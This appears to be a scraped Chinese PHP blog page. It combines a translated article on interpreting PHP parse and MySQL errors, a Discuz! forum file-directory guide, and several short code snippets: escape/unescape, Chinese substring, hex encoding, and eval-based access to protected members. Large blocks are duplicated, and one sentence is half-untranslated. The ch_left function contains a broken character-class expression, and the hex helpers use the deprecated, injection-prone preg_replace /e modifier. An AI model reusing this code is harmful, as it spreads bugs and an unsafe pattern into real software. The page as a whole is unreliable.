作者:Elan Bechor
我们编写程序时,无论怎样小心谨慎,犯错总是在所难免的。这些错误通常会迷惑PHP编译器。如果开发人员无法了解编译器报错信息的含义,那么这些错误信息不仅毫无用处,还会常常让人感到沮丧。
编译PHP脚本时,PHP编译器会尽其所能报告它遇到的第一个问题。这样就产生一个问题:只有当错误出现时,PHP才能将它识别出来(本文后面对此问题进行了详细描述)。正是由于这个缘故,编译器指出出错的那行,从表面上看来可能语法正确无误,或者可能是根本就不存在的一行!
更好地理解错误信息可以大大节省确定并改正错误内容所花费的时间。因此,在本文中,我将努力阐明多种不同类型的PHP报错信息,以及在开发过程中如何正确理解各种报错信息的含义。
本文中所讲述的内容与您所应用的PHP的版本无关,因为本文所描述的各种错误并不限定于某一特殊版本的特定错误。另外我们假定您是一位初级或者中级程序员,并已经从事编程工作有半年或一年的时间。
编译器的工作方式
要搞清楚编译器为什么会报告某一行上存在错误,首先必须明确编译器解析PHP代码的机制。我并不打算在本文中对此进行详细论述,但是,我们将会讨论一些更易于引发错误的简单概念。
变量声明
如果在一条语句中声明一个变量,具体方式如下所示:
$variable = 'value';
编译器首先求出语句右半部分的值(即等号右边的所有内容)。在一些编程书籍中,将此表示为语句的 RHS (右半部分)。恰恰正是语句的这一部分常常会引发错误。如果使用的语法不正确,就会出现解析错误。
解析错误
Parse error:解析错误,unexpected T_WHILE in c:program filesapache groupapachehtdocsscript.php on line 19
每次确定了前一错误时,解析错误一个接一个地不断出现。因为PHP在第一个解析错误之后就停止执行脚本,调试并纠正这一系列的错误往往会让人觉得特别厌烦。
而且,解析错误具有很少的信息,几乎不报告错误所在的行号。具体原因就是当出现错误时,编译器判定好几行的语法看起来应该是有效的,直至遇到无效的语法,最可能的情形就是表达式中使用了预定义的字词,例如;
while = 10; // Bad ? while 就是一个预定义字词,不能分配给一个值
预定义的字词包括 while、function等,如果PHP使用 uses to evaluate your code. 您不能使用这些预定义字词来命名变量,而且如果您非要这样做的话,PHP就会报出更多的错误,这是您无法忍受。
关于这个问题,下面的示例可能会对您有所帮助。请咨询阅读一下下面所示的PHP 代码:
$b = "somevalue"
if($b == "somevalue"){
print "Hello world!";
}
?>
错误位于"$b ="一行(在语句的末端缺少分号),所以错误应该是"解析错误:第3行缺少分号"对吧?而不应该依据解析器判定的:
rse error: parse error, unexpected T_IF in c:program filesapachegroupapachehtdocsereg2.php on line 4
在第4行,if() 语句的语法是正确的。那么,编译器是被什么给搞糊涂了呢?线索就是"unexpected T_IF" 部分。出现 "unexpected T_???"错误时,它所表示的含义为:编译器发现在预定义字不应该出现的位置出现。T_IF 代表 if(), T_WHILE 代表 while(), T_FOR 代表 for()等。
值得庆幸的是,一些错误的原因也很简单:
语句没有使用分号(;)结束,比如上面的示例。字符串中缺少引号。
其他一些常见的错误
我见过的最常见的错误就是,当没有使用大括号( } )结束一个函数或者一个循环时出现的错误,这很可能是最常见,最让人烦的错误。具体代码如下:
function UselessFunction() {
for($i < 0; $i < 10; $i++){
}
?>
将产生下列错误:
Parse error: parse error, unexpected $ in c:program filesapache groupapachehtdocsereg2.php on line 9
由于函数 UselessFunction 没有使用大括号( } )来结束,PHP编译器不断查找表示结束的大括号直至到达文件末尾为止。因为编译器未找到一个匹配的大括号,就会报告文件末尾处有错误。
如果正确地反映了代码的层次结构,错误信息就会变得非常明显。如果没有标明代码的层次结构,那么最后要想查清楚到底忘记了什么也会变得几乎是不可能的。所以,请记住,一定要标明代码的层次结构。Tab键可以很容易地实现这一点。对后续的开发人员来说,把握代码框架并对其进行修改也会更容易一些。
MySQL 错误
另一极其令人讨厌的错误信息就是最常见的MySQL错误,这常常使 PHP新手感到颇为头疼:
Warning: Supplied argument is not a valid MySQL result resource in...
上面所报告有错的一行可能是:
while($row = mysql_fetch_array($result)) {
参数 $result并不是一个有效的资源。在英语中它表示因为查询失败,将无法处理mysql_fetch_array。任一查询的语法无效(您应该将查询复制-粘贴到MySQL 控制台参考来进行测试),或者与数据库的连接失败(这种情况下您应该再次检查用户名和口令等)。
防止错误发生
第一步,智能代码器可采取以下几步来消除下列错误出现:
· 在每一条语句的末尾处,不必考虑添加分号——这应该成为一种习惯。
· 总是要尽可能标明代码的层次结构,这可以使您能够查看是否忘记在if 调用或函数末端等位置添加大括号。
· 请使用可突出显示语法的编辑器(如 HTML-Kit)。有了这类编辑器的辅助,您就能确定是否忘记了添加引号,是否缺少分号等。
结论
本文我们对PHP编译器可报出的一些看起来可能没有什么意义的错误有了一定的了解。我们需要将所学的知识应用到如何避免错误以及错误出现时如何纠正错误。调试是一个开发人员所有工作中的最重要的部分之一。提高调试效率可大大加快整个工作的进度,缩短完成一项工程所需花费的时间,同时还可以明显减轻代码失败所带来的精神压力。
2008年11月6日星期四
用PHP实现JS的escape和unescape函数功能
1 2 function escape($str) {
3 preg_match_all("/[\x80-\xff].|[\x01-\x7f]+/",$str,$r);
4 $ar = $r[0];
5 foreach($ar as $k=>$v) {
6 if(ord($v[0]) < 128)
7 $ar[$k] = rawurlencode($v);
8 else
9 $ar[$k] = "%u".bin2hex(iconv("GB2312","UCS-2",$v));
10 }
11 return join("",$ar);
12 }
13 function unescape($str) {
14 $str = rawurldecode($str);
15 preg_match_all("/(?:%u.{4})|.+/",$str,$r);
16 $ar = $r[0];
17 foreach($ar as $k=>$v) {
18 if(substr($v,0,2) == "%u" && strlen($v) == 6)
19 $ar[$k] = iconv("UCS-2","GB2312",pack("H4",substr($v,-4)));
20 }
21 return join("",$ar);
22 }
23
24
25 $a="\u4e2d\u897f\u533a";
26 $a=str_replace('\\','%',$a);
27 echo unescape($a);
28 ?>
3 preg_match_all("/[\x80-\xff].|[\x01-\x7f]+/",$str,$r);
4 $ar = $r[0];
5 foreach($ar as $k=>$v) {
6 if(ord($v[0]) < 128)
7 $ar[$k] = rawurlencode($v);
8 else
9 $ar[$k] = "%u".bin2hex(iconv("GB2312","UCS-2",$v));
10 }
11 return join("",$ar);
12 }
13 function unescape($str) {
14 $str = rawurldecode($str);
15 preg_match_all("/(?:%u.{4})|.+/",$str,$r);
16 $ar = $r[0];
17 foreach($ar as $k=>$v) {
18 if(substr($v,0,2) == "%u" && strlen($v) == 6)
19 $ar[$k] = iconv("UCS-2","GB2312",pack("H4",substr($v,-4)));
20 }
21 return join("",$ar);
22 }
23
24
25 $a="\u4e2d\u897f\u533a";
26 $a=str_replace('\\','%',$a);
27 echo unescape($a);
28 ?>
整理的Discuz程序文件目录含义表
最近看见很多人热衷于功能增强型HACK的修改。这种功能增强型HACK和平时所说的插件不一样,插件是单独的文件,一般在后台导入即可使用。但是功能增强型HACK更多是修改程序源代码来实现自己需要的功能,本人做得最多就是这类。可以说功能增强型HACK是插件的前身,想做插件就一定要做熟功能增强型HACK。
功能增强型HACK挺简单,因为代码修改量不多,而且一般以改代码为主;说难,因为一般不好找文件,而且一旦对程序结构不熟悉,马上陷入迷坑。
这里先简单说下Discuz!的所有文件,目前所代表的含义,方便大家修改时候避免找不到改哪个文件。这是个基本功,一定要熟练~熟悉了文件的话,随便做个功能增强型HACK根本就是不费吹灰之力的事情。
先说根文件:
admincp.php——后台系统设置程序文件,一般只处理菜单的显示的访问权限,不处理管理控制。
attachment——附件文件,仅仅处理附件下载的功能。
announcement.php——论坛公告的显示,一般很少改
blog.php——浏览BLOG文章时候会用的,非常容易理解
config.inc.php——配置论坛数据库、密码等信息,这个大家最熟悉了
digest.php——论坛精华区的信息显示,不用多说了吧?
discuz_version.php——论坛版本信息,用来更新用的,没有官方说明绝对不要修改
faq.php——论坛帮助系统,不过我看绝对没人用
forumdisplay.php——很简单,论坛主题列表的显示
index.php——控制首页元素显示
logging.php——登陆系统,判断用户名、密码。
mail_config.inc.php——配置论坛EMAIL功能
member.php——控制会员列表显示,积分策略等等信息显示
memcp.php——会员控制面板
misc.php——控制评分功能、BLOG、论坛界面显示功能等等
plugin.php——论坛插件,这个主要控制论坛插件的菜单的显示,一般极少修改
pm.php——论坛短信息程序,控制短信息发表与浏览
post.php——与viewthread.php相似,但是更多是管理帖子发表、编辑等等信息,也会有权限的控制提示
redirect.php——控制显示论坛的最后发表的主题访问
register.php——注册文件,同时也会控制注册的信息的合法性
rss.php——RSS快速订阅,不用多说了吧?
search.php——处理论坛搜索功能中的信息筛选
seccode.php——论坛注册,生成验证码的程序
stats.php——处理统计中的统计信息
topic.php——一般无法直接访问,控制页面显示,显示主题条数
topicadmin.php——控制的是管理人员的前台管理操作,如精华、置顶、高亮等等
viewpro.php——处理浏览会员信息的内容显示
viewthread.php——处理浏览帖子时候的帖子信息显示,例如信息、标题等等,同时也处理访问帖子的权限,如阅读权限是否足够等等。
接着开始说文件夹里面的文件了,一个个开始:
有人会问,那个空index.htm是干什么用的,我可以回复,那是防止列目录查看文件用的,避免安全问题。
admin=== (管理后台的程序文件,全部在这里,仅能通过admincp.php来访问)
标记红色的文件最好别动,毕竟主程序被加密,而且也是违背官方授权协议的。
home.inc.php——后台首页内容
settings.inc.php——Discuz!选项下的所有小分类
passport.inc.php——一堆通行证的东西
avatarshow.inc.php——天下秀
qihoo.inc.php——奇虎搜索
forums.inc.php——论坛编辑下面所有子分类
members.inc.php——添加用户、编辑用户、合并用户、用户栏目定制
groups.inc.php——分组与级别下所有子分类
announcements.inc.php——只有论坛公告发布的管理
styles.inc.php——风格管理
templates.inc.php——模板在线编辑
moderate.inc.php——一堆审核,审核新用户、审核新主题、审核新回复
recyclebin.inc.php——单独的回收站程序
ecommerce.inc.php——支付宝,不过最好别动
misc.inc.php——勋章编辑、在线列表定制、联盟论坛、计划任务、Discuz! 代码、词语过滤、Smilies 编辑、附件类型尺寸、积分交易记录,管理得真多,甚至连后台的退出功能也归这个文件管。
advertisements.inc.php——广告管理
database.inc.php——资料备份、资料恢复、数据库升级、数据表优化
attachments.inc.php——编辑附件,只有一个
counter.inc.php——更新论坛统计
threads.inc.php——批量主题管理
prune.inc.php——批量删帖、清理短消息
plugins.inc.php——插件设置、插件管理
logs.inc.php——运行记录,除了积分交易记录以外的所有记录
tools.inc.php——管理更新缓存、JS 调用向导、文件权限检查
menu.inc.php——后台左边那个好长的导航菜单就是了
Api目录的文件是全部被加密过的,无法修改也不能修改,详情见官方授权协议。
archiver==(特别说明下,因为archiver中的目录的文件没有调用commom.inc.php,所以所有变量、函数都不能直接使用,必须要搜索数据库来进行判断)
index.php archiver首页
include==
thread.inc.php archiver主题显示
index.inc.php 这个是过滤论坛权限和界面显示用的
header.inc.php archiver风格控制
forum.inc.php archiver论坛显示
attachments是论坛附件的存放目录
customavatars是论坛头像的存放目录
forumdata是论坛记录和缓存文件的存放目录,一般这些文件都是自动生成的,所以不要修改。至于有什么用途也说下吧。
cache==(很好用的功能,调用的这里的文件变量是非常快的)
admingroup_X.php 管理组权限
cache_bbcodes.php BBCODE和SMILES
cache_blog.php 所有用户组的权限变量和smilies、bbcode,还有发帖数等级的信息
cache_censor.php 屏蔽信息
cache_crons.php 计划任务
cache_forumdisplay.php 论坛信息与公告
cache_forums.php 同上
cache_index.php 在线列表、联盟论坛、公告
cache_ipbanned.php 封IP段记录
cache_medals.php 勋章信息
cache_post.php smilies、bbcode、icons
cache_profilefields.php 暂时不清楚
cache_settings.php setting表设置的参数变量
cache_viewthread.php 论坛,用户组,smilies、bbcode、icons
plugin_XX.php 插件表
style_XX.php 风格缓存
usergroup_XX.php 用户组缓存
templates==(升成的模板PHP,比较少做插件会用到,忽略)
根部的一些LOG文件就是后台记录文件了。
images是图片目录,忽略过~
include是论坛核心程序目录,非常有必要去了解。
crons==(这里是计划任务文件,你可以增加自己的计划任务,而且可以调用系统变量)
tables==(几个语言文件,很少改,跳过)
serverbusy.htm 系统错误信息
bbcode.js Discuz!代码JS效果文件
common.js 主要是DZ常用的模板函数文件,可以直接用
floatadv.js 广告用的
qihoo.js 奇虎的文件,不改
threadpay.inc.php 出售帖
template.func.php 控制模板缓存生成的文件
sendmail.inc.php 发送EMAIL的程序
security.inc.php 好像是代理一类的,不管
relatethreads.inc.php 应该说是生成相关主题的程序
promotion.inc.php 记录当前用户的IP等信息
printable.inc.php 打印主题用的程序
post.func.php 不错的函数文件,主要是记录信息、更新帖子的函数
pmprompt.inc.php 短信息内容处理
newthread.inc.php 发新话题的信息处理
newreply.inc.php 发回复的信息处理
misc.func.php 又是函数文件,控制管理PM,评分PM,评分记录,附件高亮显示,IP转换为地理位置
global.func.php 丰富的函数库,都是前台用的,如除去HTML、发PM、发EMAIL等等,建议大家研究下。
forum.func.php 处理论坛信息用的函数,如论坛菜单下拉等等
editpost.inc.php 编辑帖子的信息处理
discuzcode.func.php Discuz!代码转换处理程序
db_mysql_error.inc.php 数据库错误汇报
db_mysql.class.php 数据库中心操作程序
cron.func.php 控制计划任务执行的程序
counter.inc.php 记录操作系统与浏览器的统计
common.inc.php 最重要的核心程序,读取COOKIES信息,定义全局系统函数变量
chinese.class.php 处理乱码和字符集用的
category.inc.php 控制帖数,今日发帖数的统计
cache.func.php 控制生成缓存文件的程序
blog.func.php 在BLOG发帖时信息处理会用到
attachment.func.php 识别附件拓展名,控制附件前面显示类别图片的程序, 还有附件大小的记录判断
advertisements.inc.php 处理广告显示用的
ipdata==(IP库文件目录,下面那个wry.dat就是IP库,这个我不会改)
plugins==(插件存放目录)
templates==(模板目录,一般做HACK也要改模板,因此说明下)
default==(默认模板,从这个开始,其它风格以此类推)
announcement.htm 公告
blog.htm BLOG首页
blog_addremove.htm 移除添加BLOG
blog_list.htm BLOG列表
blog_topic.htm BLOG中主题显示
credits.htm 积分策略
css.htm 做风格用的,不过我不懂
customtopics.htm 首页那个用户专题
digest.htm 精华区主题
emailfriend.htm EMAIL推荐主题
faq.htm FAQ帮助手册,下面都是,只不过显示部分不一样,省略。
footer.htm 论坛底部信息
forumdisplay.htm 论坛主题列表
forumdisplay_subforum.htm 二级论坛列表
getpasswd.htm 取回密码
groupexpiry.htm 公众用户组
header.htm 头部连接
index.htm 首页
login.htm 登录页面
login_secques.htm 登录时安全提问
lostpasswd.htm 取回密码
memberlist.htm 会员列表,上面那个
memcp_credits.htm 控制面板——积分交易
memcp_home.htm 控制面板——首页
memcp_misc.htm 控制面板——好友列表、订阅列表、收藏夹
memcp_navbar.htm 控制面板——上面那个菜单条
memcp_profile.htm 控制面板——编辑个人资料
memcp_usergroups.htm 控制面板——公众用户组
nopermission.htm 关闭论坛显示的提示页
pay.htm 买帖子
pay_view.htm 看帖子被谁买了
pm.htm 短信息左边菜单条
pm_archive.htm 导出短消息
pm_archive_html.htm 导出短消息HTML
pm_folder.htm 好像就是列表而已
pm_ignore.htm 忽略列表
pm_search.htm 搜索短消息
pm_search_result.htm 搜索短消息结果
pm_send.htm 发送短消息
pm_view.htm 浏览短信息,内容更详细
pmprompt.htm 首页新短信提示
post_attachments.htm 发帖子的附件模块
post_bbinsert.htm 一堆BBCODE
post_editpost.htm 编辑帖子
post_newreply.htm 回复主题
post_newthread.htm 发新话题
post_preview.htm 主题回顾
post_seccode.htm 验证码
post_smilies.htm SMILES
post_sminsert.htm 快速发帖栏
rate.htm 评分
rate_view.htm 评分记录浏览
register.htm 注册
reportpost.htm 主题报告
search.htm 搜索主页
search_blog.htm 搜索BLOG列表
search_threads.htm 搜索后的帖子列表
showmessage.htm 系统返回错误信息那个
stats_main.htm 统计首页
stats_misc.htm 管理统计、时间、积分等等一堆
stats_navbar.htm 统计上面那个菜单条
stats_onlinetime.htm 时间统计
stats_team.htm 管理团队
topic.htm 又是QIHOO的随机广告
topicadmin_bump.htm 提升主题
topicadmin_delpost.htm 删除主题
topicadmin_getip.htm 查看IP
topicadmin_merge.htm 合并主题
topicadmin_moderate.htm 高亮、置顶、精华一堆~
topicadmin_move.htm 移动主题
topicadmin_reason.htm 管理理由填写
topicadmin_refund.htm 强制退款
topicadmin_split.htm 分割主题
topicadmin_stick.htm 置顶
viewpro.htm 会员详细信息查看
viewthread.htm 浏览帖子
viewthread_mod.htm 帖子管理记录
viewthread_pay.htm 帖子支付页面
viewthread_poll.htm 投票框
viewthread_printable.htm 打印主题
whosonline.htm 详细的在线动作
actions.lang.php 动作语言包
admincp.lang.php 后台语言包
archiver.lang.php archiver语言包
customfaq.lang.php FAQ手册的语言包
emails.lang.php 一堆EMAIL信息
messages.lang.php 错误信息语言包
misc.lang.php 像最后编辑,由谁管理等等
modactions.lang.php 管理代号
pms.lang.php PM,都是管理理由
templates.lang.php 前台模板的语言包
wap.lang.php wap用的语言包
wap==(WAP支持程序,一般很少改,忽略)
功能增强型HACK挺简单,因为代码修改量不多,而且一般以改代码为主;说难,因为一般不好找文件,而且一旦对程序结构不熟悉,马上陷入迷坑。
这里先简单说下Discuz!的所有文件,目前所代表的含义,方便大家修改时候避免找不到改哪个文件。这是个基本功,一定要熟练~熟悉了文件的话,随便做个功能增强型HACK根本就是不费吹灰之力的事情。
先说根文件:
admincp.php——后台系统设置程序文件,一般只处理菜单的显示的访问权限,不处理管理控制。
attachment——附件文件,仅仅处理附件下载的功能。
announcement.php——论坛公告的显示,一般很少改
blog.php——浏览BLOG文章时候会用的,非常容易理解
config.inc.php——配置论坛数据库、密码等信息,这个大家最熟悉了
digest.php——论坛精华区的信息显示,不用多说了吧?
discuz_version.php——论坛版本信息,用来更新用的,没有官方说明绝对不要修改
faq.php——论坛帮助系统,不过我看绝对没人用
forumdisplay.php——很简单,论坛主题列表的显示
index.php——控制首页元素显示
logging.php——登陆系统,判断用户名、密码。
mail_config.inc.php——配置论坛EMAIL功能
member.php——控制会员列表显示,积分策略等等信息显示
memcp.php——会员控制面板
misc.php——控制评分功能、BLOG、论坛界面显示功能等等
plugin.php——论坛插件,这个主要控制论坛插件的菜单的显示,一般极少修改
pm.php——论坛短信息程序,控制短信息发表与浏览
post.php——与viewthread.php相似,但是更多是管理帖子发表、编辑等等信息,也会有权限的控制提示
redirect.php——控制显示论坛的最后发表的主题访问
register.php——注册文件,同时也会控制注册的信息的合法性
rss.php——RSS快速订阅,不用多说了吧?
search.php——处理论坛搜索功能中的信息筛选
seccode.php——论坛注册,生成验证码的程序
stats.php——处理统计中的统计信息
topic.php——一般无法直接访问,控制页面显示,显示主题条数
topicadmin.php——控制的是管理人员的前台管理操作,如精华、置顶、高亮等等
viewpro.php——处理浏览会员信息的内容显示
viewthread.php——处理浏览帖子时候的帖子信息显示,例如信息、标题等等,同时也处理访问帖子的权限,如阅读权限是否足够等等。
接着开始说文件夹里面的文件了,一个个开始:
有人会问,那个空index.htm是干什么用的,我可以回复,那是防止列目录查看文件用的,避免安全问题。
admin=== (管理后台的程序文件,全部在这里,仅能通过admincp.php来访问)
标记红色的文件最好别动,毕竟主程序被加密,而且也是违背官方授权协议的。
home.inc.php——后台首页内容
settings.inc.php——Discuz!选项下的所有小分类
passport.inc.php——一堆通行证的东西
avatarshow.inc.php——天下秀
qihoo.inc.php——奇虎搜索
forums.inc.php——论坛编辑下面所有子分类
members.inc.php——添加用户、编辑用户、合并用户、用户栏目定制
groups.inc.php——分组与级别下所有子分类
announcements.inc.php——只有论坛公告发布的管理
styles.inc.php——风格管理
templates.inc.php——模板在线编辑
moderate.inc.php——一堆审核,审核新用户、审核新主题、审核新回复
recyclebin.inc.php——单独的回收站程序
ecommerce.inc.php——支付宝,不过最好别动
misc.inc.php——勋章编辑、在线列表定制、联盟论坛、计划任务、Discuz! 代码、词语过滤、Smilies 编辑、附件类型尺寸、积分交易记录,管理得真多,甚至连后台的退出功能也归这个文件管。
advertisements.inc.php——广告管理
database.inc.php——资料备份、资料恢复、数据库升级、数据表优化
attachments.inc.php——编辑附件,只有一个
counter.inc.php——更新论坛统计
threads.inc.php——批量主题管理
prune.inc.php——批量删帖、清理短消息
plugins.inc.php——插件设置、插件管理
logs.inc.php——运行记录,除了积分交易记录以外的所有记录
tools.inc.php——管理更新缓存、JS 调用向导、文件权限检查
menu.inc.php——后台左边那个好长的导航菜单就是了
Api目录的文件是全部被加密过的,无法修改也不能修改,详情见官方授权协议。
archiver==(特别说明下,因为archiver中的目录的文件没有调用commom.inc.php,所以所有变量、函数都不能直接使用,必须要搜索数据库来进行判断)
index.php archiver首页
include==
thread.inc.php archiver主题显示
index.inc.php 这个是过滤论坛权限和界面显示用的
header.inc.php archiver风格控制
forum.inc.php archiver论坛显示
attachments是论坛附件的存放目录
customavatars是论坛头像的存放目录
forumdata是论坛记录和缓存文件的存放目录,一般这些文件都是自动生成的,所以不要修改。至于有什么用途也说下吧。
cache==(很好用的功能,调用的这里的文件变量是非常快的)
admingroup_X.php 管理组权限
cache_bbcodes.php BBCODE和SMILES
cache_blog.php 所有用户组的权限变量和smilies、bbcode,还有发帖数等级的信息
cache_censor.php 屏蔽信息
cache_crons.php 计划任务
cache_forumdisplay.php 论坛信息与公告
cache_forums.php 同上
cache_index.php 在线列表、联盟论坛、公告
cache_ipbanned.php 封IP段记录
cache_medals.php 勋章信息
cache_post.php smilies、bbcode、icons
cache_profilefields.php 暂时不清楚
cache_settings.php setting表设置的参数变量
cache_viewthread.php 论坛,用户组,smilies、bbcode、icons
plugin_XX.php 插件表
style_XX.php 风格缓存
usergroup_XX.php 用户组缓存
templates==(升成的模板PHP,比较少做插件会用到,忽略)
根部的一些LOG文件就是后台记录文件了。
images是图片目录,忽略过~
include是论坛核心程序目录,非常有必要去了解。
crons==(这里是计划任务文件,你可以增加自己的计划任务,而且可以调用系统变量)
tables==(几个语言文件,很少改,跳过)
serverbusy.htm 系统错误信息
bbcode.js Discuz!代码JS效果文件
common.js 主要是DZ常用的模板函数文件,可以直接用
floatadv.js 广告用的
qihoo.js 奇虎的文件,不改
threadpay.inc.php 出售帖
template.func.php 控制模板缓存生成的文件
sendmail.inc.php 发送EMAIL的程序
security.inc.php 好像是代理一类的,不管
relatethreads.inc.php 应该说是生成相关主题的程序
promotion.inc.php 记录当前用户的IP等信息
printable.inc.php 打印主题用的程序
post.func.php 不错的函数文件,主要是记录信息、更新帖子的函数
pmprompt.inc.php 短信息内容处理
newthread.inc.php 发新话题的信息处理
newreply.inc.php 发回复的信息处理
misc.func.php 又是函数文件,控制管理PM,评分PM,评分记录,附件高亮显示,IP转换为地理位置
global.func.php 丰富的函数库,都是前台用的,如除去HTML、发PM、发EMAIL等等,建议大家研究下。
forum.func.php 处理论坛信息用的函数,如论坛菜单下拉等等
editpost.inc.php 编辑帖子的信息处理
discuzcode.func.php Discuz!代码转换处理程序
db_mysql_error.inc.php 数据库错误汇报
db_mysql.class.php 数据库中心操作程序
cron.func.php 控制计划任务执行的程序
counter.inc.php 记录操作系统与浏览器的统计
common.inc.php 最重要的核心程序,读取COOKIES信息,定义全局系统函数变量
chinese.class.php 处理乱码和字符集用的
category.inc.php 控制帖数,今日发帖数的统计
cache.func.php 控制生成缓存文件的程序
blog.func.php 在BLOG发帖时信息处理会用到
attachment.func.php 识别附件拓展名,控制附件前面显示类别图片的程序, 还有附件大小的记录判断
advertisements.inc.php 处理广告显示用的
ipdata==(IP库文件目录,下面那个wry.dat就是IP库,这个我不会改)
plugins==(插件存放目录)
templates==(模板目录,一般做HACK也要改模板,因此说明下)
default==(默认模板,从这个开始,其它风格以此类推)
announcement.htm 公告
blog.htm BLOG首页
blog_addremove.htm 移除添加BLOG
blog_list.htm BLOG列表
blog_topic.htm BLOG中主题显示
credits.htm 积分策略
css.htm 做风格用的,不过我不懂
customtopics.htm 首页那个用户专题
digest.htm 精华区主题
emailfriend.htm EMAIL推荐主题
faq.htm FAQ帮助手册,下面都是,只不过显示部分不一样,省略。
footer.htm 论坛底部信息
forumdisplay.htm 论坛主题列表
forumdisplay_subforum.htm 二级论坛列表
getpasswd.htm 取回密码
groupexpiry.htm 公众用户组
header.htm 头部连接
index.htm 首页
login.htm 登录页面
login_secques.htm 登录时安全提问
lostpasswd.htm 取回密码
memberlist.htm 会员列表,上面那个
memcp_credits.htm 控制面板——积分交易
memcp_home.htm 控制面板——首页
memcp_misc.htm 控制面板——好友列表、订阅列表、收藏夹
memcp_navbar.htm 控制面板——上面那个菜单条
memcp_profile.htm 控制面板——编辑个人资料
memcp_usergroups.htm 控制面板——公众用户组
nopermission.htm 关闭论坛显示的提示页
pay.htm 买帖子
pay_view.htm 看帖子被谁买了
pm.htm 短信息左边菜单条
pm_archive.htm 导出短消息
pm_archive_html.htm 导出短消息HTML
pm_folder.htm 好像就是列表而已
pm_ignore.htm 忽略列表
pm_search.htm 搜索短消息
pm_search_result.htm 搜索短消息结果
pm_send.htm 发送短消息
pm_view.htm 浏览短信息,内容更详细
pmprompt.htm 首页新短信提示
post_attachments.htm 发帖子的附件模块
post_bbinsert.htm 一堆BBCODE
post_editpost.htm 编辑帖子
post_newreply.htm 回复主题
post_newthread.htm 发新话题
post_preview.htm 主题回顾
post_seccode.htm 验证码
post_smilies.htm SMILES
post_sminsert.htm 快速发帖栏
rate.htm 评分
rate_view.htm 评分记录浏览
register.htm 注册
reportpost.htm 主题报告
search.htm 搜索主页
search_blog.htm 搜索BLOG列表
search_threads.htm 搜索后的帖子列表
showmessage.htm 系统返回错误信息那个
stats_main.htm 统计首页
stats_misc.htm 管理统计、时间、积分等等一堆
stats_navbar.htm 统计上面那个菜单条
stats_onlinetime.htm 时间统计
stats_team.htm 管理团队
topic.htm 又是QIHOO的随机广告
topicadmin_bump.htm 提升主题
topicadmin_delpost.htm 删除主题
topicadmin_getip.htm 查看IP
topicadmin_merge.htm 合并主题
topicadmin_moderate.htm 高亮、置顶、精华一堆~
topicadmin_move.htm 移动主题
topicadmin_reason.htm 管理理由填写
topicadmin_refund.htm 强制退款
topicadmin_split.htm 分割主题
topicadmin_stick.htm 置顶
viewpro.htm 会员详细信息查看
viewthread.htm 浏览帖子
viewthread_mod.htm 帖子管理记录
viewthread_pay.htm 帖子支付页面
viewthread_poll.htm 投票框
viewthread_printable.htm 打印主题
whosonline.htm 详细的在线动作
actions.lang.php 动作语言包
admincp.lang.php 后台语言包
archiver.lang.php archiver语言包
customfaq.lang.php FAQ手册的语言包
emails.lang.php 一堆EMAIL信息
messages.lang.php 错误信息语言包
misc.lang.php 像最后编辑,由谁管理等等
modactions.lang.php 管理代号
pms.lang.php PM,都是管理理由
templates.lang.php 前台模板的语言包
wap.lang.php wap用的语言包
wap==(WAP支持程序,一般很少改,忽略)
截取中文字符串的函数
$s="[截取中文字符串的函数]";
function ch_left($s, $len){
if(strlen($s)>$len)
$s=substr($s, 0, $len);
$ch='['.chr(0x81)-chr(0xff).']';
if(preg_match("/$ch($ch{2})*$/", $s))
$s=substr($s,0,-1);
return $s;
}
echo ch_left($s,8);
?>
function ch_left($s, $len){
if(strlen($s)>$len)
$s=substr($s, 0, $len);
$ch='['.chr(0x81)-chr(0xff).']';
if(preg_match("/$ch($ch{2})*$/", $s))
$s=substr($s,0,-1);
return $s;
}
echo ch_left($s,8);
?>
php代码实现字符串的16进制编码解码
function hexEncode($s) {
return preg_replace('/(.)/es',"str_pad(dechex(ord('\\1')),2,'0',STR_PAD_LEFT)",$s);
}
function hexDecode($s) {
return preg_replace('/(\w{2})/e',"chr(hexdec('\\1'))",$s);
}
echo hexDecode(hexEncode("北京\n欢迎您!"));
?>
return preg_replace('/(.)/es',"str_pad(dechex(ord('\\1')),2,'0',STR_PAD_LEFT)",$s);
}
function hexDecode($s) {
return preg_replace('/(\w{2})/e',"chr(hexdec('\\1'))",$s);
}
echo hexDecode(hexEncode("北京\n欢迎您!"));
?>
php中访问对象protected成员的一种方法
/**
* ZxProtectedAccessor
*
* ZxProtectedAccessor 提供了访问对象protected属性的途径。
*
* @copyright Copyright Zhenye Xie 2006. All rights reserved.
* @author Zhenye Xie
* @version 0.8
* @package common
*/
class ZxProtectedAccessor {
private static $classes=array();
private static function generateAccessor($class){
$accClass=self::getAccessorClassName($class);
if(!class_exists($accClass)){
$code='class '.$accClass.' extends '.$class.' { ';
$code.='static function &_zx_get_var_($obj,$var){return $obj->$var;}';
$code.='static function _zx_set_var_($obj,$var,$value){$obj->$var=$value;}}';
eval($code);
}
}
function &get($object, $var){
$class=get_class($object);
self::generateAccessor($class);
$ret=call_user_func(array(self::getAccessorClassName($class),
'_zx_get_var_'),$object,$var);
return $ret;
}
function set($object, $var, $value){
$class=get_class($object);
self::generateAccessor($class);
$ret=call_user_func(array(self::getAccessorClassName($class),
'_zx_set_var_'),$object,$var,$value);
return $ret;
}
private static function getAccessorClassName($className){
return '_Zx_Protected_Accessor__'.$className;
}
}
* ZxProtectedAccessor
*
* ZxProtectedAccessor 提供了访问对象protected属性的途径。
*
* @copyright Copyright Zhenye Xie 2006. All rights reserved.
* @author Zhenye Xie
* @version 0.8
* @package common
*/
class ZxProtectedAccessor {
private static $classes=array();
private static function generateAccessor($class){
$accClass=self::getAccessorClassName($class);
if(!class_exists($accClass)){
$code='class '.$accClass.' extends '.$class.' { ';
$code.='static function &_zx_get_var_($obj,$var){return $obj->$var;}';
$code.='static function _zx_set_var_($obj,$var,$value){$obj->$var=$value;}}';
eval($code);
}
}
function &get($object, $var){
$class=get_class($object);
self::generateAccessor($class);
$ret=call_user_func(array(self::getAccessorClassName($class),
'_zx_get_var_'),$object,$var);
return $ret;
}
function set($object, $var, $value){
$class=get_class($object);
self::generateAccessor($class);
$ret=call_user_func(array(self::getAccessorClassName($class),
'_zx_set_var_'),$object,$var,$value);
return $ret;
}
private static function getAccessorClassName($className){
return '_Zx_Protected_Accessor__'.$className;
}
}
php打包工具Phar
Java有个Jar,可以把一个应用程序或者一个组件打包在一起,便于发布。PHP下也有了一个Phar。PEAR和PECL里各有一个。我试的是PEAR里的。
弄了半天一直没搞成,昨天晚上终于成功了。弄明白了几点:
首先,phar不是tar压缩文件,可以用那个creator生成。
用的时候先要直接include那个phar文件。
每个phar文件里面必须有一个index.php。
